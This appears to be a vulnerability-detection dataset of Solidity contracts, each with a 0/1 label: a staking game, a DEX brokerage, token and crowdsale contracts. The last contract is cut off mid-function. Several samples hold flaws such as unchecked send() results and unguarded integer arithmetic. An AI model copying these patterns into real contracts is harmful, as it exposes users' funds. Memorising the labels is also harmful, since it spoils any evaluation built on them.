source_codes
stringlengths 72
160k
| labels
int64 0
1
| __index_level_0__
int64 0
4.4k
|
|---|---|---|
pragma solidity ^0.4.6;
contract Matthew {
address owner;
address public whale;
uint256 public blockheight;
uint256 public stake;
uint256 period = 40;
uint constant public DELTA = 0.1 ether;
uint constant public WINNERTAX_PRECENT = 10;
bool mustBeDestroyed = false;
uint newPeriod = period;
event MatthewWon(string msg, address winner, uint value, uint blocknumber);
event StakeIncreased(string msg, address staker, uint value, uint blocknumber);
function Matthew(){
owner = msg.sender;
setFacts();
}
function setFacts() private {
stake = this.balance;
period = newPeriod;
blockheight = block.number;
whale = msg.sender;
}
function () payable{
if (block.number - period >= blockheight){
bool isSuccess=false;
var nextStake = stake * WINNERTAX_PRECENT/100;
if (isSuccess == false)
isSuccess = whale.send(stake - nextStake);
MatthewWon("Matthew won", whale, stake - nextStake, block.number);
setFacts();
if (mustBeDestroyed) selfdestruct(whale);
return;
}else{
if (msg.value < stake + DELTA) throw;
bool isOtherSuccess = msg.sender.send(stake);
setFacts();
StakeIncreased("stake increased", whale, stake, blockheight);
}
}
function destroyWhenRoundOver() onlyOwner{
mustBeDestroyed = true;
}
function setNewPeriod(uint _newPeriod) onlyOwner{
newPeriod = _newPeriod;
}
function getPeriod() constant returns (uint){
return period;
}
function getNewPeriod() constant returns (uint){
return newPeriod;
}
function getDestroyedWhenRoundOver() constant returns (bool){
return mustBeDestroyed;
}
function getBlocksTillMatthew() public constant returns(uint){
if (blockheight + period > block.number)
return blockheight + period - block.number;
else
return 0;
}
modifier onlyOwner(){
if (msg.sender != owner) throw;
_;
}
} | 0 | 1,763 |
pragma solidity ^0.4.23;
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function pow(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a ** b;
require(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract DexBrokerage is Ownable {
using SafeMath for uint256;
address public feeAccount;
uint256 public makerFee;
uint256 public takerFee;
uint256 public inactivityReleasePeriod;
mapping (address => bool) public approvedCurrencyTokens;
mapping (address => uint256) public invalidOrder;
mapping (address => mapping (address => uint256)) public tokens;
mapping (address => bool) public admins;
mapping (address => uint256) public lastActiveTransaction;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => bool) public withdrawn;
event Trade(address tokenBuy, uint256 amountBuy, address tokenSell, uint256 amountSell, address maker, address taker);
event Deposit(address token, address user, uint256 amount, uint256 balance);
event Withdraw(address token, address user, uint256 amount, uint256 balance);
event MakerFeeUpdated(uint256 oldFee, uint256 newFee);
event TakerFeeUpdated(uint256 oldFee, uint256 newFee);
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
constructor(uint256 _makerFee, uint256 _takerFee , address _feeAccount, uint256 _inactivityReleasePeriod) public {
owner = msg.sender;
makerFee = _makerFee;
takerFee = _takerFee;
feeAccount = _feeAccount;
inactivityReleasePeriod = _inactivityReleasePeriod;
}
function approveCurrencyTokenAddress(address currencyTokenAddress, bool isApproved) onlyAdmin public {
approvedCurrencyTokens[currencyTokenAddress] = isApproved;
}
function invalidateOrdersBefore(address user, uint256 nonce) onlyAdmin public {
require(nonce >= invalidOrder[user]);
invalidOrder[user] = nonce;
}
function setMakerFee(uint256 _makerFee) onlyAdmin public {
uint256 oldFee = makerFee;
if (_makerFee > 10 finney) {
_makerFee = 10 finney;
}
require(makerFee != _makerFee);
makerFee = _makerFee;
emit MakerFeeUpdated(oldFee, makerFee);
}
function setTakerFee(uint256 _takerFee) onlyAdmin public {
uint256 oldFee = takerFee;
if (_takerFee > 20 finney) {
_takerFee = 20 finney;
}
require(takerFee != _takerFee);
takerFee = _takerFee;
emit TakerFeeUpdated(oldFee, takerFee);
}
function setInactivityReleasePeriod(uint256 expire) onlyAdmin public returns (bool) {
require(expire <= 50000);
inactivityReleasePeriod = expire;
return true;
}
function setAdmin(address admin, bool isAdmin) onlyOwner public {
admins[admin] = isAdmin;
}
function depositToken(address token, uint256 amount) public {
receiveTokenDeposit(token, msg.sender, amount);
}
function receiveTokenDeposit(address token, address from, uint256 amount) public {
tokens[token][from] = tokens[token][from].add(amount);
lastActiveTransaction[from] = block.number;
require(ERC20(token).transferFrom(from, address(this), amount));
emit Deposit(token, from, amount, tokens[token][from]);
}
function deposit() payable public {
tokens[address(0)][msg.sender] = tokens[address(0)][msg.sender].add(msg.value);
lastActiveTransaction[msg.sender] = block.number;
emit Deposit(address(0), msg.sender, msg.value, tokens[address(0)][msg.sender]);
}
function withdraw(address token, uint256 amount) public returns (bool) {
require(block.number.sub(lastActiveTransaction[msg.sender]) >= inactivityReleasePeriod);
require(tokens[token][msg.sender] >= amount);
tokens[token][msg.sender] = tokens[token][msg.sender].sub(amount);
if (token == address(0)) {
msg.sender.transfer(amount);
} else {
require(ERC20(token).transfer(msg.sender, amount));
}
emit Withdraw(token, msg.sender, amount, tokens[token][msg.sender]);
return true;
}
function adminWithdraw(address token, uint256 amount, address user, uint256 nonce, uint8 v, bytes32 r, bytes32 s, uint256 gasCost) onlyAdmin public returns (bool) {
if (gasCost > 30 finney) gasCost = 30 finney;
if(token == address(0)){
require(tokens[address(0)][user] >= gasCost.add(amount));
} else {
require(tokens[address(0)][user] >= gasCost);
require(tokens[token][user] >= amount);
}
bytes32 hash = keccak256(address(this), token, amount, user, nonce);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s) == user);
if(token == address(0)){
tokens[address(0)][user] = tokens[address(0)][user].sub(gasCost.add(amount));
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].add(gasCost);
user.transfer(amount);
} else {
tokens[token][user] = tokens[token][user].sub(amount);
tokens[address(0)][user] = tokens[address(0)][user].sub(gasCost);
tokens[address(0)][feeAccount] = tokens[address(0)][feeAccount].add(gasCost);
require(ERC20(token).transfer(user, amount));
}
lastActiveTransaction[user] = block.number;
emit Withdraw(token, user, amount, tokens[token][user]);
return true;
}
function balanceOf(address token, address user) view public returns (uint256) {
return tokens[token][user];
}
function trade(uint256[11] tradeValues, address[4] tradeAddresses, uint8[2] v, bytes32[4] rs) onlyAdmin public returns (bool) {
uint256 price = tradeValues[0].mul(1 ether).div(tradeValues[1]);
require(price >= tradeValues[7].mul(1 ether).div(tradeValues[8]).sub(100000 wei));
require(price <= tradeValues[4].mul(1 ether).div(tradeValues[3]).add(100000 wei));
require(block.number < tradeValues[9]);
require(block.number < tradeValues[5]);
require(invalidOrder[tradeAddresses[2]] <= tradeValues[2]);
require(invalidOrder[tradeAddresses[3]] <= tradeValues[6]);
bytes32 orderHash = keccak256(address(this), tradeAddresses[0], tradeValues[7], tradeAddresses[1], tradeValues[8], tradeValues[9], tradeValues[2], tradeAddresses[2]);
bytes32 tradeHash = keccak256(address(this), tradeAddresses[1], tradeValues[3], tradeAddresses[0], tradeValues[4], tradeValues[5], tradeValues[6], tradeAddresses[3]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", orderHash), v[0], rs[0], rs[1]) == tradeAddresses[2]);
require(ecrecover(keccak256("\x19Ethereum Signed Message:\n32", tradeHash), v[1], rs[2], rs[3]) == tradeAddresses[3]);
require(tokens[tradeAddresses[0]][tradeAddresses[3]] >= tradeValues[0]);
require(tokens[tradeAddresses[1]][tradeAddresses[2]] >= tradeValues[1]);
if ((tradeAddresses[0] == address(0) || tradeAddresses[1] == address(0)) && tradeValues[10] > 30 finney) tradeValues[10] = 30 finney;
if ((approvedCurrencyTokens[tradeAddresses[0]] == true || approvedCurrencyTokens[tradeAddresses[1]] == true) && tradeValues[10] > 10 ether) tradeValues[10] = 10 ether;
if(tradeAddresses[0] == address(0) || approvedCurrencyTokens[tradeAddresses[0]] == true){
require(orderFills[orderHash].add(tradeValues[1]) <= tradeValues[8]);
require(orderFills[tradeHash].add(tradeValues[1]) <= tradeValues[3]);
uint256 valueInTokens = tradeValues[1];
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(valueInTokens);
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].add(valueInTokens);
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[0]);
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(takerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[10]);
tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].add(tradeValues[0]);
tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].sub(makerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(makerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(takerFee.mul(tradeValues[0]).div(1 ether));
tokens[tradeAddresses[0]][feeAccount] = tokens[tradeAddresses[0]][feeAccount].add(tradeValues[10]);
orderFills[orderHash] = orderFills[orderHash].add(tradeValues[1]);
orderFills[tradeHash] = orderFills[tradeHash].add(tradeValues[1]);
} else {
require(orderFills[orderHash].add(tradeValues[0]) <= tradeValues[7]);
require(orderFills[tradeHash].add(tradeValues[0]) <= tradeValues[4]);
uint256 valueInEth = tradeValues[1];
tokens[tradeAddresses[0]][tradeAddresses[3]] = tokens[tradeAddresses[0]][tradeAddresses[3]].sub(tradeValues[0]);
tokens[tradeAddresses[0]][tradeAddresses[2]] = tokens[tradeAddresses[0]][tradeAddresses[2]].add(tradeValues[0]);
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(valueInEth);
tokens[tradeAddresses[1]][tradeAddresses[2]] = tokens[tradeAddresses[1]][tradeAddresses[2]].sub(makerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].add(valueInEth);
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].sub(takerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][tradeAddresses[3]] = tokens[tradeAddresses[1]][tradeAddresses[3]].sub(tradeValues[10]);
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(makerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(takerFee.mul(valueInEth).div(1 ether));
tokens[tradeAddresses[1]][feeAccount] = tokens[tradeAddresses[1]][feeAccount].add(tradeValues[10]);
orderFills[orderHash] = orderFills[orderHash].add(tradeValues[0]);
orderFills[tradeHash] = orderFills[tradeHash].add(tradeValues[0]);
}
lastActiveTransaction[tradeAddresses[2]] = block.number;
lastActiveTransaction[tradeAddresses[3]] = block.number;
emit Trade(tradeAddresses[0], tradeValues[0], tradeAddresses[1], tradeValues[1], tradeAddresses[2], tradeAddresses[3]);
return true;
}
} | 1 | 3,578 |
pragma solidity ^0.4.18;
contract Countdown {
uint public deadline;
address owner;
address public winner;
uint public reward = 0;
uint public tips = 0;
uint public buttonClicks = 0;
function Countdown() public payable {
owner = msg.sender;
deadline = now + 3 hours;
winner = msg.sender;
reward += msg.value;
}
function ClickButton() public payable {
require(msg.value >= 0.001 ether);
if (now > deadline) {
revert();
}
reward += msg.value * 8 / 10;
tips += msg.value * 2 / 10;
winner = msg.sender;
deadline = now + 30 minutes;
buttonClicks += 1;
}
function Win() public {
require(msg.sender == winner);
require(now > deadline);
uint pendingReward = reward;
reward = 0;
winner.transfer(pendingReward);
}
function withdrawTips() public {
uint pendingTips = tips;
tips = 0;
owner.transfer(pendingTips);
}
} | 0 | 1,259 |
pragma solidity ^0.4.16;
contract ASCToken {
string public name;
string public symbol;
uint8 public decimals = 2;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
function ASCToken() public {
totalSupply = 60000000000 * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
name = "Ascereum";
symbol = "ASC";
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0);
require(balanceOf[_from] >= _value);
require(balanceOf[_to] + _value > balanceOf[_to]);
uint previousBalances = balanceOf[_from] + balanceOf[_to];
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
Burn(_from, _value);
return true;
}
} | 1 | 3,900 |
pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c>=a && c>=b);
return c;
}
}
contract WbkChainToken {
address public owner;
string public name;
string public symbol;
uint public decimals;
uint256 public totalSupply;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Burn(address indexed from, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping (address => bool) public frozenAccount;
event FrozenFunds(address target, bool frozen);
bool lock = false;
constructor(
uint256 initialSupply,
string tokenName,
string tokenSymbol,
uint decimalUnits
) public {
owner = msg.sender;
name = tokenName;
symbol = tokenSymbol;
decimals = decimalUnits;
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier isLock {
require(!lock);
_;
}
function setLock(bool _lock) onlyOwner public{
lock = _lock;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function _transfer(address _from, address _to, uint _value) isLock internal {
require (_to != 0x0);
require (balanceOf[_from] >= _value);
require (balanceOf[_to] + _value > balanceOf[_to]);
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]);
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[msg.sender] >= _value);
balanceOf[msg.sender] -= _value;
totalSupply -= _value;
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) onlyOwner public returns (bool success) {
require(balanceOf[_from] >= _value);
require(_value <= allowance[_from][msg.sender]);
balanceOf[_from] -= _value;
allowance[_from][msg.sender] -= _value;
totalSupply -= _value;
emit Burn(_from, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
uint256 _amount = mintedAmount * 10 ** uint256(decimals);
balanceOf[target] += _amount;
totalSupply += _amount;
emit Transfer(this, target, _amount);
}
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
emit FrozenFunds(target, freeze);
}
function transferBatch(address[] _to, uint256 _value) public returns (bool success) {
for (uint i=0; i<_to.length; i++) {
_transfer(msg.sender, _to[i], _value);
}
return true;
}
} | 1 | 2,253 |
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public presaleWeiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
mapping (address => bool) public earlyParticipantWhitelist;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event Whitelisted(address addr, bool status);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
throw;
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.PreFunding) {
if(!earlyParticipantWhitelist[receiver]) {
throw;
}
} else if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if(investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(pricingStrategy.isPresalePurchase(receiver)) {
presaleWeiRaised = presaleWeiRaised.plus(weiAmount);
}
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if(requiredSignedAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner {
earlyParticipantWhitelist[addr] = status;
Whitelisted(addr, status);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract PreICOProxyBuyer is Ownable, Haltable, SafeMath {
uint public investorCount;
uint public weiRaised;
address[] public investors;
mapping(address => uint) public balances;
mapping(address => uint) public claimed;
uint public freezeEndsAt;
uint public weiMinimumLimit;
uint public weiMaximumLimit;
uint public weiCap;
uint public tokensBought;
uint public claimCount;
uint public totalClaimed;
bool public forcedRefund;
Crowdsale public crowdsale;
enum State{Unknown, Funding, Distributing, Refunding}
event Invested(address investor, uint value, uint128 customerId);
event Refunded(address investor, uint value);
event TokensBoughts(uint count);
event Distributed(address investor, uint count);
function PreICOProxyBuyer(address _owner, uint _freezeEndsAt, uint _weiMinimumLimit, uint _weiMaximumLimit, uint _weiCap) {
owner = _owner;
if(_freezeEndsAt == 0) {
throw;
}
if(_weiMinimumLimit == 0) {
throw;
}
if(_weiMaximumLimit == 0) {
throw;
}
weiMinimumLimit = _weiMinimumLimit;
weiMaximumLimit = _weiMaximumLimit;
weiCap = _weiCap;
freezeEndsAt = _freezeEndsAt;
}
function getToken() public constant returns(FractionalERC20) {
if(address(crowdsale) == 0) {
throw;
}
return crowdsale.token();
}
function invest(uint128 customerId) private {
if(getState() != State.Funding) throw;
if(msg.value == 0) throw;
address investor = msg.sender;
bool existing = balances[investor] > 0;
balances[investor] = safeAdd(balances[investor], msg.value);
if(balances[investor] < weiMinimumLimit || balances[investor] > weiMaximumLimit) {
throw;
}
if(!existing) {
